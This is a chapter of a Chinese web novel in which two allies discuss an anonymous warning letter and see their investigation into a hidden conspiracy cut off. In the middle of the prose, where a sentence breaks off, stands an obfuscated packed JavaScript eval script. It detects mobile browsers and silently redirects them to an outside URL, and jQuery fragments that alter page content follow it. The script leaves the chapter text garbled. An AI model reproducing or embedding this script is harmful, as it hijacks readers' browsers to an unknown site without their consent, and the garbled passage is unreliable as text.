第90章试探
作品:《恶女穿成小可怜后,将军掐腰宠》 江令舟拿起信纸,快速浏览。他看得极快,眉头随之蹙起。“匿名信?谁送来的?”
“不知。”黎音袅回答,“直接出现在书案上。”
“出现在书案上?”江令舟重复了一遍,“府内守卫……”
“守卫并未发现异常。”黎音袅打断他,“或者说,送信之人,有能力避开所有耳目。”
江令舟放下信纸。“信中所言,与我们之前的推测多有吻合。谋逆案,客栈,还有那个可能的‘楼兰会’……这送信人,掌握了相当多的内情。”
“或者,他想让我们以为他掌握了内情。”黎音袅道。
“你的意思是,这是陷阱?故意引导我们?”江令舟看向她。
“有此可能。”黎音袅走到书案后坐下,“但无论其目的为何,信中提及的危险,以及那股隐藏势力的存在,大概率是真的。朝堂上的争斗,确实只是表象。”
江令舟踱了两步。“他们提到了我们二人。‘已成目标’,‘处境危殆’。这警告的分量不轻。”
“威胁,也是一种试探。”黎音袅手指轻敲桌面,“试探我们的反应,我们的底牌。”
“那我们如何应对?”江令舟问,“信中内容虚实难辨,若全然不信,恐中圈套;若全然相信,又可能被误导。”
“信的内容,可以作为参考,不必尽信。”黎音袅道,“但信本身的存在,就是一个明确的信号:我们被盯得很紧,对方已经开始出招。”
“加强防备是必然的。”江令舟说,“府内府外,都需要增派人手,小心排查。”
“防备是被动之举。”黎音袅摇头,“千日防贼,不如主动出击。我们需要找出这股势力,挖出送信的人。”
“可如今京中形势……”江令舟有些迟疑,“我们任何大的动作,都会引来注目。三司会审尚未结束,赵康等人正等着抓我们的把柄。”
“所以,要暗中进行。”黎音袅语气平静,“动用我们能动用的所有暗线,不经任何官面途径。从信中提及的线索入手,重新梳理谋逆案的卷宗,追查客栈背后更深层的人脉网络。”
江令舟沉吟片刻。“此事风险极大。一旦被察觉,后果不堪设想。”
“不作为,风险更大。”黎音袅看着他,“等敌人将刀架在脖子上,再想反击就晚了。我们没有退路。”
江令舟不再反驳。“好。我负责调动京畿之外的力量,从客栈那条线查起。你坐镇京中,协调内部资源,排查府内及宫中可能的眼线。”
“可以。”黎音袅点头,“另外,玉佩的线索也不能断,那或许是另一个突破口。”
“我明白。”江令舟应下,“你自己也要格外小心。”
黎音袅未再多言。江令舟也沉默下来,书房内一时只有窗外微风拂过树叶的沙沙声。
片刻后,江令舟准备告辞。黎音袅重新拿起那封匿名信件,指尖拂过纸面,感受着那陌生的笔迹留下的凹痕。
调查无声无息地进行。
数周过去,进展寥寥。江令舟从京畿外传回消息,客栈那条线索追查下去,关联人等或消失无踪,或意外身亡,指向更深层网络的脉络在触及核心前便被斩断。他的人扑了几次空,只带回一堆无法证实的传闻和几具冰冷的尸体。
黎音袅这边同样不顺。动用所有能调动的暗棋,在京中排查,如同大海捞针。宫廷与朝堂盘根错节,眼线密布,却不知哪些是对手布下的棋子。每一次试探都小心翼翼,生怕打草惊蛇,引来不必要的麻烦。赵康等人依旧虎视眈眈,朝堂上的风波并未因谋逆案的暂时平息而真正停止。
“西市那个香料商人,失踪了。”一名心腹低声汇报,“我们的人找到他的住处时,已人去楼空,只留下些寻常家什。”
黎音袅翻看着手里的密报,纸上记录着近期的失败。“失踪?还是被处理了?”
“不好说。邻居只说他几日前便没再露面。”
“查他接触过什么人,去过什么地方,特别是失踪前。”黎音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548026|171216||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袅吩咐。她心里清楚,这大概率又是一条断头路。对方的动作太快,太干净。
江令舟回到府中时,带来了又一个坏消息。“玉佩的线索,也断了。”
黎音袅看向他。
“我们找到那个当初经手玉佩的匠人,**。意外失足,坠河而亡。”江令舟语气平淡,听不出情绪,“官府已经结案。”
“意外?”黎音袅重复。
“太过巧合的意外。”江令舟走到她对面坐下,“我的人查过,匠人最近手头拮据,似乎与人有过争执,像是赌债。”
“做得干净利落,连理由都准备好了。”黎音袅放下密报,“他们就像影子,我们一靠近,就立刻消散,或者,留下一个看似合理的解释。”
江令舟:“我们每一步,似乎都在他们的预料之中。”
黎音袅:“或者说,我们身边,有他们的眼睛。”
这句话让书房内的空气瞬间凝滞。两人都未再言语,各自思考着这种可能性带来的寒意。被监视,被洞察,每一步行动都被预判,这种无力感让人窒息。
“府内排查的结果如何?”江令舟问。
“没有明确的指向。”黎音袅回答,“能安**来的,必然隐藏极深。短时间内难以挖出。”她停顿了一下,“或许,问题不在府内,而在我们接触的人,传递消息的途径。”
江令舟:“所有环节都有可能泄密。”他看着黎音袅,“你怀疑我的人?”
黎音袅:“我怀疑所有人,包括我自己的人。在这种局面下,任**任都可能致命。”
江令舟没有反驳。“暗线传递消息,已经是最隐秘的方式。如果连这都有问题……”
“那就换一种方式。”黎音袅打断他,“减少传递环节,核心信息只在你我之间。”
“这会极大限制我们的调查范围和效率。”江令舟指出。
“但能最大程度保证信息不外泄。”黎音袅坚持,“效率其次,安全为先。我们输不起。”